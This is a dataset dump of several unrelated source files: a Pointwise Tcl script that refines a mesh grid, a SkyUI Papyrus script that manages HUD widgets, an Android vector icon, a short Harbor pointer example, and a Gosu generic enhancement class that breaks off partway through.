| WebAssembly | 4 | phated/binaryen | test/lit/wasm-emscripten-finalize/em_asm_partial.wat | [
"Apache-2.0"
] |
#
# Copyright 2013 (c) Pointwise, Inc.
# All rights reserved.
#
# This sample script is not supported by Pointwise, Inc.
# It is provided freely for demonstration purposes only.
# SEE THE WARRANTY DISCLAIMER AT THE BOTTOM OF THIS FILE.
#
# ==========================================================================
# GRID REFINEMENT SCRIPT - POINTWISE
# ==========================================================================
# Written by Travis Carrigan & Claudio Pita
#
#
# --------------------------------------------------------------------------
# User Defined Parameters
# --------------------------------------------------------------------------
# Refinement factor
set refinementFactor 2
# Pointwise file name, please include .pw file extension
set pwFile "TestGrid.pw"
# Whether to create volume mesh, YES or NO
set volMesh "YES"
# --------------------------------------------------------------------------
# Load Pointwise Glyph package
package require PWI_Glyph
# --------------------------------------------------------------------------
# Unstructure solver attribute names
set unsSolverAttsNames { BoundaryDecay EdgeMaximumLength EdgeMinimumLength \
PyramidMaximumHeight PyramidMinimumHeight PyramidAspectRatio \
InitialMemorySize IterationCount TRexMaximumLayers TRexFullLayers \
TRexGrowthRate TRexPushAttributes TRexSpacingSmoothing \
TRexSpacingRelaxationFactor TRexIsotropicSeedLayers TRexCollisionBuffer \
TRexAnisotropicIsotropicBlend TRexSkewCriteriaDelayLayers \
TRexSkewCriteriaMaximumAngle TRexSkewCriteriaEquivolume \
TRexSkewCriteriaEquiangle TRexSkewCriteriaCentroid \
TRexCheckCombinedElementQuality TRexVolumeFunction TetMesher }
# --------------------------------------------------------------------------
# Remove element from list
proc removeFromList { list values } {
foreach val $values {
set idx [lsearch $list $val]
set list [lreplace $list $idx $idx]
}
return $list
}
# --------------------------------------------------------------------------
# Compare lists
proc compareLists { a b } {
set la [llength $a]
set lb [llength $b]
if {$la != $lb} {
return 0
} else {
set i 0
foreach ae $a be $b {
if {![string equal $ae $be]} {
return 0
}
incr i
}
}
return 1
}
# --------------------------------------------------------------------------
# Get connectors used by a domain
proc getConnectors { domain } {
set conns [list]
set edgeCount [$domain getEdgeCount]
for {set i 1} {$i <= $edgeCount} {incr i} {
set edge [$domain getEdge $i]
set connectorCount [$edge getConnectorCount]
for {set j 1} {$j <= $connectorCount} {incr j} {
lappend conns [$edge getConnector $j]
}
}
return $conns
}
# --------------------------------------------------------------------------
# Get domains used by a block
proc getDomains { block } {
set doms [list]
set faceCount [$block getFaceCount]
for {set i 1} {$i <= $faceCount} {incr i} {
set face [$block getFace $i]
set domainCount [$face getDomainCount]
for {set j 1} {$j <= $domainCount} {incr j} {
lappend doms [$face getDomain $j]
}
}
return $doms
}
# --------------------------------------------------------------------------
# Get boundary conditions
proc getBoundaryConditions {} {
global boundaryConditions
# Get list of boundary condition names
set condsNames [pw::BoundaryCondition getNames]
# Loop through all the condition names
foreach name $condsNames {
# Getcondition object from its name
set condition [pw::BoundaryCondition getByName $name]
# If condition exist, cache it
if { $condition ne "" && [$condition getPhysicalType] ne "Unspecified"} {
set boundaryConditions($name) $condition
}
}
}
# --------------------------------------------------------------------------
# Get and redimension TRex conditions
proc getAndRedimensionTRexConditions {} {
global refinementFactor
global trexConditions
# Get list of TRex condition names
set condsNames [pw::TRexCondition getNames]
# Loop through all the condition names
foreach name $condsNames {
# Get condition object from its name
set condition [pw::TRexCondition getByName $name]
# If condition exist, adjust spacing (if necessary) and cache it
if { $condition ne "" && [$condition getConditionType] ne "Off" } {
if { [$condition getConditionType] eq "Wall" } {
# Get spacing
set spc [$condition getSpacing]
# Refine spacing
set newSpc [expr (1.0 / $refinementFactor) * $spc]
# Set new spacing
$condition setSpacing $newSpc
}
# Cache it
set trexConditions($name) $condition
}
}
}
# --------------------------------------------------------------------------
# Get volume conditions
proc getVolumeConditions {} {
global volumeConditions
# Get list of volume condition names
set condsNames [pw::VolumeCondition getNames]
# Loop through all the condition names
foreach name $condsNames {
# Get condition object from its name
set condition [pw::VolumeCondition getByName $name]
# If condition exist, cache it
if { $condition ne "" && [$condition getPhysicalType] ne "Unspecified"} {
set volumeConditions($name) $condition
}
}
}
# --------------------------------------------------------------------------
# Get and redimension unstructured solver attributes for the block
proc getAndRedimensionUnstructuredSolverAttributes { blk } {
global refinementFactor
global unsSolverAttsNames
set attributes [dict create]
foreach name $unsSolverAttsNames {
set value [$blk getUnstructuredSolverAttribute $name]
# Redimension certain attributes
switch $name {
EdgeMinimumLength -
EdgeMaximumLength {
if { $value ne "Boundary" } {
set value [expr {$value / $refinementFactor}]
}
}
PyramidMinimumHeight -
PyramidMaximumHeight {
if { $value > 0 } {
set value [expr {$value / $refinementFactor}]
}
}
}
dict set attributes $name $value
}
return $attributes
}
# --------------------------------------------------------------------------
# Match diagonalized domains with their structured counterpart
proc findMatchedOrigDiagDomains { } {
global strDomList
global blksRegenData
global diagDomNameToOrigDom
set blksRegenData(names) ""
array set diagDomNameToOrigDom {}
# Loop through all structured domains to find their diagonalized counterpart
if { [llength $strDomList] > 0 } {
foreach dom $strDomList {
# Get list of connectors used by this domain
set conList [getConnectors $dom]
# Get list of domains adjacent to this domain
set adjDomList [pw::Domain getAdjacentDomains $dom]
foreach adjDom $adjDomList {
# The diagonalized domain is unstructured
if { [$adjDom isOfType "pw::DomainUnstructured"] } {
# Get list of connectors used by this domain
set adjConList [getConnectors $adjDom]
# If the lists of connectos match then adjDom is the diagonalized
# version of dom.
if { [compareLists $conList $adjConList] } {
# Add matching pair to the map
set diagDomNameToOrigDom([$adjDom getName]) $dom
# Cache data to regenerate unstructured blocks using the diagonalized
# domain
set blkList [pw::Block getBlocksFromDomains $adjDom]
foreach blk $blkList {
if { [$blk isOfType "pw::BlockUnstructured"] } {
set domList [getDomains $blk]
cacheBlockRegenerationData $adjDom $domList $blk
}
}
}
}
}
}
}
}
# --------------------------------------------------------------------------
# Cache data necessary for block regeneration
proc cacheBlockRegenerationData { domRegenerate domList blk } {
global blksRegenData
global boundaryConditions
global trexConditions
set domName [$domRegenerate getName]
set blkName [$blk getName]
if { [lsearch -exact $blksRegenData(names) $blkName] == -1 } {
# Name
lappend blksRegenData(names) $blkName
# Layer
lappend blksRegenData($blkName,layer) [$blk getLayer]
# Domain list (this list does not contain the diagonalized domain to be
# regenerated)
set domList [removeFromList $domList $domRegenerate]
set blksRegenData($blkName,domains,keep) $domList
# Domain names list (diagonalized domains to be regenerated)
set blksRegenData($blkName,domains,regenerate) $domName
# Attributes
set blksRegenData($blkName,attributes) \
[getAndRedimensionUnstructuredSolverAttributes $blk]
# Boundary conditions
cacheBoundaryConditions "boundary" $blk
# TRex conditions
cacheBoundaryConditions "trex" $blk
# Volume conditions
cacheVolumeConditions "volume" $blk
} else {
# Domain names list (diagonalized domains to be regenerated)
if { [lsearch -exact $blksRegenData($blkName,domains,regenerate) \
$domName] == -1 } {
set domList $blksRegenData($blkName,domains,keep)
set domList [removeFromList $domList $domRegenerate]
set blksRegenData($blkName,domains,keep) $domList
lappend blksRegenData($blkName,domains,regenerate) $domName
}
}
}
# --------------------------------------------------------------------------
# Cache boundary conditions (boundary, TRex)
proc cacheBoundaryConditions { type blk } {
global blksRegenData
global boundaryConditions
global trexConditions
switch $type {
boundary { array set conditions [array get boundaryConditions] }
trex { array set conditions [array get trexConditions] }
}
if { [array size conditions] > 0 } {
foreach {name condition} [array get conditions] {
set add 0
set registers [$condition getRegisters]
set blkName [$blk getName]
foreach reg $registers {
set highLevelEntity [lindex $reg 0]
if { $highLevelEntity eq $blk } {
# Boundary condition applied to this block, cache it
set add 1
set data [list [[lindex $reg 1] getName] [lindex $reg 2]]
lappend blksRegenData($blkName,${type}Conditions,$name) $data
}
}
if { $add == 1 } {
lappend blksRegenData($blkName,${type}Conditions,names) $name
}
}
}
}
# --------------------------------------------------------------------------
# Apply boundary conditions (boundary, TRex)
proc applyBoundaryConditions { type blk } {
global blksRegenData
global boundaryConditions
global trexConditions
set blkName [$blk getName]
if {$type eq "boundary"} {
array set conditions [array get boundaryConditions]
} elseif {$type eq "trex"} {
array set conditions [array get trexConditions]
}
set argument "$blkName,${type}Conditions"
if { [array names blksRegenData -exact $argument,names] ne "" } {
foreach condName $blksRegenData($argument,names) {
# Get BC
set condition $conditions($condName)
set bcData $blksRegenData($argument,$condName)
# Build register
foreach data $bcData {
set orient [lindex $data 1]
set domName [lindex $data 0]
set dom [pw::GridEntity getByName [lindex $data 0]]
set register [list $blk $dom $orient]
$condition apply $register
}
}
}
}
# --------------------------------------------------------------------------
# Cache volume conditions
proc cacheVolumeConditions { type blk } {
global blksRegenData
global volumeConditions
if { [array size volumeConditions] > 0 } {
foreach {name condition} [array get volumeConditions] {
set entities [$condition getEntities]
foreach entity $entities {
if { $entity eq $blk } {
set blkName [$blk getName]
set blksRegenData($blkName,volumeCondition) $name
}
}
}
}
}
# --------------------------------------------------------------------------
# Apply volume conditions
proc applyVolumeConditions { blk } {
global blksRegenData
global volumeConditions
set blkName [$blk getName]
set argument "$blkName,volumeCondition"
if { [array names blksRegenData -exact $argument] ne "" } {
set condName $blksRegenData($argument)
# Get VC
set condition $volumeConditions($condName)
$condition apply $blk
}
}
# --------------------------------------------------------------------------
# Redimension balanced connectors
proc redimensionBalancedConnectors {} {
global refinementFactor
global strDomList
global conList
set refinedConList ""
# Loop over structured domains, redimension connectors, and check for edge
# dimension balance
foreach domain $strDomList {
set edgeDims {0 0}
for {set i 1} {$i <= 4} {incr i} {
set tmpConList ""
set edge [$domain getEdge $i]
set connectorCount [$edge getConnectorCount]
for {set j 1} {$j <= $connectorCount} {incr j} {
set connector [$edge getConnector $j]
if { [lsearch -exact $refinedConList $connector] == -1 } {
# Add connector to a temporary list of connectors to be refined now
lappend tmpConList $connector
}
}
# Refine connectors in this edge
redimensionConnectors $tmpConList
# Append to the list of refined connectors
lappend refinedConList $tmpConList
set refinedConList [join $refinedConList]
# Remove from the list of connectors that still need to be refined
set conList [removeFromList $conList $tmpConList]
# A balanced structured domain requires edge_1 to be balanced with edge_3
# and edge_2 to be balanced with edge_4. If edge is not balanced with its
# opposing edge, attempt to balance them
set idx [expr $i - 1]
set edgeDim [$edge getDimension]
if { $i <= 2 } {
set edgeDims [lreplace $edgeDims $idx $idx $edgeDim]
} elseif { $edgeDim != [lindex $edgeDims [expr $idx - 2]] } {
balanceEdge [lindex $edgeDims [expr $idx - 2]] $edgeDim $tmpConList \
$domain
}
}
}
}
# --------------------------------------------------------------------------
# Redimension connectors
proc redimensionConnectors { conList } {
global refinementFactor
global numCons
global conCnt
set conMode [pw::Application begin Modify $conList]
foreach con $conList {
# Progress information
incr conCnt
puts ""
puts "Refining connector $conCnt of $numCons..."
puts " ...connector [$con getName]"
puts ""
# Get connector distribution type
set conDist [$con getDistribution 1]
# Check if distribution is of type growth
if { [$conDist isOfType "pw::DistributionGrowth"] } {
# Decrease grid point spacing
$conDist setBeginSpacing [expr {(1.0 / $refinementFactor) * \
[[$conDist getBeginSpacing] getValue]}]
$conDist setEndSpacing [expr {(1.0 / $refinementFactor) * \
[[$conDist getEndSpacing] getValue]}]
# Set optimal connector dimension
$con setDimensionFromDistribution
} else {
# Increase connector dimension in 3 steps ...
# 1) Store refined subconnector dimensions
set totalDim 0
set subConnCount [$con getSubConnectorCount]
for {set i 1} {$i <= $subConnCount} {incr i} {
set dim [expr {round($refinementFactor * \
[$con getSubConnectorDimension $i] - 1)}]
lappend conSubDim $dim
incr totalDim $dim
}
# 2) Redimension connector
$con setDimension [expr {$totalDim - ($subConnCount - 1)}]
# 3) Adjust subconnector dimension
if { $subConnCount > 1 } {
$con setSubConnectorDimension $conSubDim
}
catch {unset conSubDim}
# Decrease grid point spacing
for {set i 1} {$i <= $subConnCount} {incr i} {
set conDist [$con getDistribution $i]
$conDist setBeginSpacing [expr (1.0 / $refinementFactor)* \
[[$conDist getBeginSpacing] getValue]]
$conDist setEndSpacing [expr (1.0 / $refinementFactor)* \
[[$conDist getEndSpacing] getValue]]
}
}
}
$conMode end
catch {unset conMode}
}
# --------------------------------------------------------------------------
# Balance the edges of free standing structured domains.
# Note: this function balnces free-standing structured domains only (basically
# structured domains used to create diagonalized unstructured domains
# that are not being used by any block)
proc balanceEdge { edgeBalancedDimension edgeDimension conList domain } {
if { [llength [pw::Block getBlocksFromDomains $domain]] == 0 } {
# How many points do we need to add/remove?
set deltaPoints [expr abs($edgeBalancedDimension - $edgeDimension)]
# Sort connectors according to their dimension
set dimensionData [dict create]
foreach con $conList {
dict lappend dimensionData [$con getDimension] $con
}
set sortedDims [lsort -integer -decreasing [dict keys $dimensionData]]
# Modify dimension
# Note: The grid points are added to or removed from connectors with the
# larger dimension first.
foreach dim $sortedDims {
# Get list of connectors with this dimension
set conSubList [dict get $dimensionData $dim]
# Set new dimension
if { $edgeBalancedDimension > $edgeDimension } {
incr dim 1
} else {
incr dim -1
}
# Redimension connectors
foreach con $conSubList {
$con setDimension $dim
incr deltaPoints -1
if { $deltaPoints == 0 } {
# No more points need to be added/removed, return
return
}
}
}
}
}
# --------------------------------------------------------------------------
# Redimension unstructured domains
proc redimensionDomains {} {
global refinementFactor
global domList
global numDoms
global domCnt
foreach dom $domList {
# Progress information
incr domCnt
puts ""
puts "Refining domain $domCnt of $numDoms..."
puts " ...domain [$dom getName]"
puts ""
# Refine interior triangles of unstructured domains if necessary. Do not refine
# diagonalized domains, they will be regenerated
if { [$dom isOfType "pw::DomainUnstructured"] &&
[array get diagDomNameToOrigDom $dom] eq "" } {
set domMinEdgeLen [$dom getUnstructuredSolverAttribute EdgeMinimumLength]
set domMaxEdgeLen [$dom getUnstructuredSolverAttribute EdgeMaximumLength]
# Refine min. and max. edge length (if necessary)
if { $domMinEdgeLen ne "Boundary" } {
$dom setUnstructuredSolverAttribute EdgeMinimumLength \
[expr {$domMinEdgeLen / $refinementFactor}]
}
if { $domMaxEdgeLen ne "Boundary" } {
$dom setUnstructuredSolverAttribute EdgeMaximumLength \
[expr {$domMaxEdgeLen / $refinementFactor}]
}
# Refine
set unsSolver [pw::Application begin UnstructuredSolver $dom]
if [catch {$unsSolver run Refine}] {
lappend domError [$dom getName]
$unsSolver end
continue
}
$unsSolver end
}
}
catch {unset unsSolver}
# Write out unstructured domains that could not be refined due to solver error
if { [info exists domError] } {
set errMsg "Error refining [llength $domError] domain"
printErrorInformation $domError $errMsg
}
}
# --------------------------------------------------------------------------
# Regenerate diagonalized domains
proc regenerateDiagDomains {} {
global diagDomNameToOrigDom
global diagDomNameToDiagDom
# Generate new diagonalized domains and delete old ones
foreach {diagDomName origDom} [array get diagDomNameToOrigDom] {
if { [catch {set newDiagDom [$origDom triangulate Aligned]}] } {
if { [catch {set newDiagDom [$origDom triangulate]}] } {
# Error during triangularization
lappend domError $diagDomName
continue
}
}
set oldDiagDom [pw::GridEntity getByName $diagDomName]
set oldDiagDomLayer [$oldDiagDom getLayer]
$oldDiagDom delete -force
$newDiagDom setName $diagDomName
$newDiagDom setLayer $oldDiagDomLayer
set diagDomNameToDiagDom($diagDomName) $newDiagDom
}
# Write out unstructured domains that could not be re-diagonalized
if { [info exists domError] } {
set errMsg "Error re-diagonalizing [llength $domError] domain"
printErrorInformation $domError $errMsg
}
}
# --------------------------------------------------------------------------
# Regenerate unstructured blocks
proc regenerateUnstructuredBlocks {} {
global blksRegenData
global diagDomNameToDiagDom
global unsSolverAttsNames
global trexConditions
if { [array get blksRegenData names] ne "" } {
set blkNameList $blksRegenData(names)
foreach blkName $blkNameList {
set domList $blksRegenData($blkName,domains,keep)
# Add regenerated domains to the list. If there was an error
# re-diagonalizing the domain, the old domain is already in
# the list, no need to add it again
foreach name $blksRegenData($blkName,domains,regenerate) {
set dom [pw::GridEntity getByName $name]
if { [lsearch -exact $domList $dom] == -1 } {
# The domain was re-diagonalized
lappend domList $dom
}
}
# Create block
if { [catch {set blk [pw::BlockUnstructured createFromDomains -reject \
unused $domList]}] || [llength $unused] > 0 } {
# Error during block generation
lappend blkError $blkName
} else {
# Name
if { [$blk getName] ne $blkName } {
$blk setName $blkName
}
# Attributes
set attributes $blksRegenData($blkName,attributes)
foreach name [dict keys $attributes] {
set value [dict get $attributes $name]
if { $name ne "" && $value ne "" } {
$blk setUnstructuredSolverAttribute $name $value
}
}
# Boundary conditions
applyBoundaryConditions "boundary" $blk
# TRex conditions
applyBoundaryConditions "trex" $blk
# Volume conditions
applyVolumeConditions $blk
# Layer
$blk setLayer $blksRegenData($blkName,layer)
}
}
# Write out unstructured blocks that could not be regenerated
if { [info exists blkError] } {
set errMsg "Error re-generating [llength $blkError] block"
printErrorInformation $blkError $errMsg
}
}
}
# --------------------------------------------------------------------------
# Initialize unstructured blocks
proc initializeUnstructuredBlocks {} {
global refinementFactor
global unsBlkList
foreach unsBlk $unsBlkList {
set unsSolver [pw::Application begin UnstructuredSolver $unsBlk]
if [catch {$unsSolver run Initialize}] {
lappend blkError [$unsBlk getName]
$unsSolver end
continue
}
$unsSolver end
unset unsSolver
}
# Write out unstructured blocks that could not be initialized due to solver error
if { [info exists blkError] } {
set errMsg "Error initializing [llength $blkError] block"
printErrorInformation $blkError $errMsg
}
}
# --------------------------------------------------------------------------
# Print error information
proc printErrorInformation { entityList errMsg } {
if { [ llength $entityList] > 0 } {
# Print out error information
if { [llength $entityList] == 1 } {
set errMsg "${errMsg}:"
} else {
set errMsg "${errMsg}s:"
}
puts $errMsg
foreach entity $entityList {
puts "$entity"
}
}
}
# --------------------------------------------------------------------------
# Print block information
proc printBlockInformation {} {
global blkList
foreach blk $blkList {
if { [$blk isOfType "pw::BlockStructured"] } {
puts ""
puts "Block [$blk getName]"
puts "--------------------"
puts "Block Type: Structured"
puts "Total Cell Count: [$blk getCellCount]"
puts ""
} elseif {[$blk isOfType "pw::BlockUnstructured"]} {
puts ""
puts "Block [$blk getName]"
puts "--------------------"
puts "Block Type: Unstructured"
if {[$blk getTRexCellCount]>0} {
puts "Full TRex Layers: [$blk getTRexFullLayerCount]"
puts "Total TRex Layers: [$blk getTRexTotalLayerCount]"
puts "Total TRex Cells: [$blk getTRexCellCount]"
puts "Total Cell Count: [$blk getCellCount]"
puts ""
} else {
puts "Total Cell Count: [$blk getCellCount]"
}
} elseif {[$blk isOfType "pw::BlockExtruded"]} {
puts ""
puts "Block [$blk getName]"
puts "--------------------"
puts "Block Type: Extruded"
puts "Total Cell Count: [$blk getCellCount]"
puts ""
} else {
puts ""
puts "Block [$blk getName] type not supported by this script."
puts ""
}
}
}
# --------------------------------------------------------------------------
# Save volume mesh
proc saveVolumeMesh { volStartTime volEndTime } {
global refinementFactor
global cwd
global fileRoot
set fileExport "$fileRoot-Volume-$refinementFactor.pw"
puts ""
puts "Writing $fileExport file..."
puts "Volume initialization completed in [expr {$volEndTime-$volStartTime}] \
seconds"
puts ""
pw::Application save [file join $cwd $fileExport]
}
# --------------------------------------------------------------------------
# Main script body
# Start timer
set startTime [clock seconds]
# Setup Pointwise and define working directory
pw::Application reset
pw::Application clearModified
set cwd [file dirname [info script]]
# File root
set fileRoot [file rootname $pwFile]
# Output Pointwise version information
puts ""
puts "[pw::Application getVersion]"
puts ""
puts "Refinement factor is set to $refinementFactor"
puts ""
# Check if refinement factor is lower or equal than 1
if { $refinementFactor <= 1 } {
if { $volMesh eq "YES" } {
# Load Pointwise file
pw::Application load [file join $cwd $pwFile]
# Save surface mesh
set fileExport "$fileRoot-Surface-$refinementFactor.pw"
puts ""
puts "Writing $fileExport file..."
puts ""
pw::Application save [file join $cwd $fileExport]
puts ""
puts "Initializing volume mesh..."
puts ""
# Start timer
set volStartTime [clock seconds]
# Gather all blocks
set blkList [pw::Grid getAll -type pw::Block]
# Gather all unstructured blocks
set unsBlkList [pw::Grid getAll -type pw::BlockUnstructured]
# Initialize unstructured blocks
initializeUnstructuredBlocks
# End timer
set volEndTime [clock seconds]
# Print block information
printBlockInformation
# Save volume mesh
saveVolumeMesh $volStartTime $volEndTime
# End timer
set endTime [clock seconds]
puts ""
puts "Pointwise script executed in [expr $endTime-$startTime] seconds"
puts ""
exit
} else {
puts ""
puts "Refinement factor is 1 or lower, nothing to do..."
puts ""
exit
}
}
# Load Pointwise file
pw::Application load [file join $cwd $pwFile]
# Start timer
set surfStartTime [clock seconds]
# Get current layer
set currentLayer [pw::Display getCurrentLayer]
# Gather all connectors
set conList [pw::Grid getAll -type pw::Connector]
set numCons [llength $conList]
set conCnt 0
# Gather all domains
set domList [pw::Grid getAll -type pw::Domain]
set numDoms [llength $domList]
set domCnt 0
# Gather all structured domains
set strDomList [pw::Grid getAll -type pw::DomainStructured]
# Gather all blocks
set blkList [pw::Grid getAll -type pw::Block]
# Gather all unstructured blocks
set unsBlkList [pw::Grid getAll -type pw::BlockUnstructured]
# Get boundary conditions
getBoundaryConditions
# Get and redimension TRex conditions
getAndRedimensionTRexConditions
# Get volume conditions
getVolumeConditions
# Match diagonalized domains with their structured counterpart
findMatchedOrigDiagDomains
# Redimension balanced connectors
redimensionBalancedConnectors
# Redimension connectors
redimensionConnectors $conList
# Redimension domains
redimensionDomains
# Regenerate diagonalized domains
regenerateDiagDomains
# Save surface mesh
set fileExport "$fileRoot-Surface-$refinementFactor.pw"
# End timer
set surfEndTime [clock seconds]
# Regenerate unstructured blocks
regenerateUnstructuredBlocks
puts ""
puts "Writing $fileExport file..."
puts "Surface refinement completed in [expr {$surfEndTime-$surfStartTime}]\
seconds"
puts ""
pw::Application save [file join $cwd $fileExport]
# Initialize volume mesh if required
if { $volMesh eq "YES" } {
puts ""
puts "Initializing volume mesh..."
puts ""
# Start timer
set volStartTime [clock seconds]
# Unstructured blocks could have been regenerated, gather all blocks (again)
set blkList [pw::Grid getAll -type pw::Block]
# Unstructured blocks could have been regenerated, gather all unstructured \
# blocks (again)
set unsBlkList [pw::Grid getAll -type pw::BlockUnstructured]
# Initialize unstructured blocks
initializeUnstructuredBlocks
# End timer
set volEndTime [clock seconds]
# Print block information
printBlockInformation
# Save volume mesh
saveVolumeMesh $volStartTime $volEndTime
}
# Restore current layer
pw::Display setCurrentLayer $currentLayer
# End timer
set endTime [clock seconds]
puts ""
puts "Pointwise script executed in [expr $endTime-$startTime] seconds"
puts ""
#
# END SCRIPT
#
#
# DISCLAIMER:
# TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, POINTWISE DISCLAIMS
# ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED
# TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE, WITH REGARD TO THIS SCRIPT. TO THE MAXIMUM EXTENT PERMITTED
# BY APPLICABLE LAW, IN NO EVENT SHALL POINTWISE BE LIABLE TO ANY PARTY
# FOR ANY SPECIAL, INCIDENTAL, INDIRECT, OR CONSEQUENTIAL DAMAGES
# WHATSOEVER (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF
# BUSINESS INFORMATION, OR ANY OTHER PECUNIARY LOSS) ARISING OUT OF THE
# USE OF OR INABILITY TO USE THIS SCRIPT EVEN IF POINTWISE HAS BEEN
# ADVISED OF THE POSSIBILITY OF SUCH DAMAGES AND REGARDLESS OF THE
# FAULT OR NEGLIGENCE OF POINTWISE.
#
| Glyph | 5 | smola/language-dataset | data/github.com/pointwise/GridRefine/29175d48795e7086ba51205b7bc26ab9c23633d6/gridRefine.glf | [
"MIT"
] |
scriptname SKI_WidgetManager extends SKI_QuestBase
; CONSTANTS ---------------------------------------------------------------------------------------
string property HUD_MENU = "HUD Menu" autoReadOnly
; PRIVATE VARIABLES -------------------------------------------------------------------------------
SKI_WidgetBase[] _widgets
string[] _widgetSources
int _curWidgetID = 0
int _widgetCount = 0
; INITIALIZATION ----------------------------------------------------------------------------------
event OnInit()
_widgets = new SKI_WidgetBase[128]
_widgetSources = new string[128]
; Wait until all widgets have registered their callbacks
Utility.Wait(0.5)
OnGameReload()
endEvent
event OnGameReload()
RegisterForModEvent("SKIWF_widgetLoaded", "OnWidgetLoad")
RegisterForModEvent("SKIWF_widgetError", "OnWidgetError")
CleanUp()
; Init now, or delay until hudmenu has been loaded
if (UI.IsMenuOpen(HUD_MENU))
InitWidgetLoader()
else
RegisterForMenu(HUD_MENU)
endIf
endEvent
event OnMenuOpen(string a_menuName)
if (a_menuName == HUD_MENU)
UnregisterForMenu(HUD_MENU)
InitWidgetLoader()
endIf
endEvent
function CleanUp()
_widgetCount = 0
int i = 0
while (i < _widgets.length)
if (_widgets[i] == none || _widgets[i].GetFormID() == 0)
; Widget no longer exists
_widgets[i] = none
_widgetSources[i] = ""
else
_widgetCount += 1
endIf
i += 1
endWhile
endFunction
function InitWidgetLoader()
Debug.Trace("InitWidgetLoader()")
int releaseIdx = UI.GetInt(HUD_MENU, "_global.WidgetLoader.SKYUI_RELEASE_IDX")
; Not injected yet
if (releaseIdx == 0)
; Interface/
string rootPath = ""
string[] args = new string[2]
args[0] = "widgetLoaderContainer"
args[1] = "-1000"
; Create empty container clip
UI.InvokeStringA(HUD_MENU, "_root.createEmptyMovieClip", args)
; Try to load from Interface/exported/hudmenu.gfx
UI.InvokeString(HUD_MENU, "_root.widgetLoaderContainer.loadMovie", "skyui/widgetloader.swf")
Utility.Wait(0.5)
releaseIdx = UI.GetInt(HUD_MENU, "_global.WidgetLoader.SKYUI_RELEASE_IDX")
; If failed, try to load from Interface/hudmenu.swf
if (releaseIdx == 0)
; Interface/exported
rootPath = "exported/"
UI.InvokeString(HUD_MENU, "_root.widgetLoaderContainer.loadMovie", "exported/skyui/widgetloader.swf")
Utility.Wait(0.5)
releaseIdx = UI.GetInt(HUD_MENU, "_global.WidgetLoader.SKYUI_RELEASE_IDX")
endIf
; Injection failed
if (releaseIdx == 0)
Debug.Trace("InitWidgetLoader(): load failed")
return
endIf
UI.InvokeString(HUD_MENU, "_root.widgetLoaderContainer.widgetLoader.setRootPath", rootPath)
endIf
; Load already registered widgets
UI.InvokeStringA(HUD_MENU, "_root.widgetLoaderContainer.widgetLoader.loadWidgets", _widgetSources)
SendModEvent("SKIWF_widgetManagerReady")
endFunction
; EVENTS ------------------------------------------------------------------------------------------
event OnWidgetLoad(string a_eventName, string a_strArg, float a_numArg, form a_sender)
int widgetID = a_strArg as int
SKI_WidgetBase client = _widgets[widgetID]
if (client != none)
client.OnWidgetLoad()
endIf
endEvent
event OnWidgetError(string a_eventName, string a_strArg, float a_numArg, form a_sender)
int widgetID = a_numArg as int
string errorType = a_strArg
Debug.Trace("WidgetError: " + (_widgets[widgetID] as string) + ": " + errorType)
endEvent
; FUNCTIONS ---------------------------------------------------------------------------------------
int function RequestWidgetID(SKI_WidgetBase a_client)
if (_widgetCount >= 128)
return -1
endIf
int widgetID = NextWidgetID()
_widgets[widgetID] = a_client
_widgetCount += 1
return widgetID
endFunction
int function NextWidgetID()
int startIdx = _curWidgetID
while (_widgets[_curWidgetID] != none)
_curWidgetID += 1
if (_curWidgetID >= 128)
_curWidgetID = 0
endIf
if (_curWidgetID == startIdx)
return -1 ; Should never happen because we have widgetCount. Just to be sure.
endIf
endWhile
return _curWidgetID
endFunction
function CreateWidget(int a_widgetID, string a_widgetSource)
_widgetSources[a_widgetID] = a_widgetSource
string[] args = new string[2]
args[0] = a_widgetID as string
args[1] = a_widgetSource
UI.InvokeStringA(HUD_MENU, "_root.widgetLoaderContainer.widgetLoader.loadWidget", args);
endFunction
SKI_WidgetBase[] function GetWidgets()
; Return a copy
SKI_WidgetBase[] widgetsCopy = new SKI_WidgetBase[128]
int i = 0
while (i < _widgets.length)
widgetsCopy[i] = _widgets[i]
i += 1
endWhile
return widgetsCopy
endFunction
| Papyrus | 5 | pragasette/skyui | dist/Data/Scripts/Source/SKI_WidgetManager.psc | [
"Unlicense",
"MIT"
] |
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24"
android:tint="?attr/colorControlNormal">
<path
android:fillColor="@android:color/white"
android:pathData="M17,17.97l0,-7.07c-2.28,-0.46 -4,-2.48 -4,-4.9c0,-0.34 0.03,-0.68 0.1,-1L7,5v12.97l5,-2.14L17,17.97z"
android:strokeAlpha="0.3"
android:fillAlpha="0.3"/>
<path
android:fillColor="@android:color/white"
android:pathData="M21,7h-6V5h6V7zM17,17.97l-5,-2.14l-5,2.14V5l6.1,0c0.15,-0.74 0.46,-1.42 0.9,-2L7,3C5.9,3 5,3.9 5,5v16l7,-3l7,3l0,-10.1c-0.32,0.07 -0.66,0.1 -1,0.1c-0.34,0 -0.68,-0.03 -1,-0.1L17,17.97z"/>
</vector>
| XML | 3 | bubenheimer/androidx | compose/material/material/icons/generator/raw-icons/twotone/bookmark_remove.xml | [
"Apache-2.0"
] |
let ptr = alloc(10, int) in do
ptr[0] = 20;
ptr[1] = 19;
let x: &int = &ptr[2] in
*x = 5;
putnum(*ptr); putchar('\n');
putnum(*(ptr + 1)); putchar('\n');
putnum(ptr[2]); putchar('\n');
end | Harbour | 3 | adam-mcdaniel/harbor | examples/index.hb | [
"Apache-2.0"
] |
package gw.internal.gosu.compiler.sample.enhancements
uses gw.lang.reflect.IType
enhancement GenericEnhancement<T> : _GenericEnhanced<T> {
function simpleMethod() : String {
return "foo"
}
reified function returnsGenericTypeVar() : IType {
return T
}
reified function returnsGenericTypeVarWithArg( s : String ) : IType {
return T
}
function methodWithArg( s : String ) : String {
return s
}
reified function methodWithVar() : IType {
var tmp = ""
return T
}
reified function methodWithVarAndArg( s : String ) : IType {
var tmp = ""
return T
}
reified function methodWTypeParamThatReturnsEnhancementParameterization<Q>() : IType {
return T
}
reified function methodWTypeParamThatReturnsMethodParameterization<Q>() : IType {
return Q
}
reified function methodWTypeParamAndArgThatReturnsEnhancementParameterization<Q>( arg : Q ) : IType {
return T
}
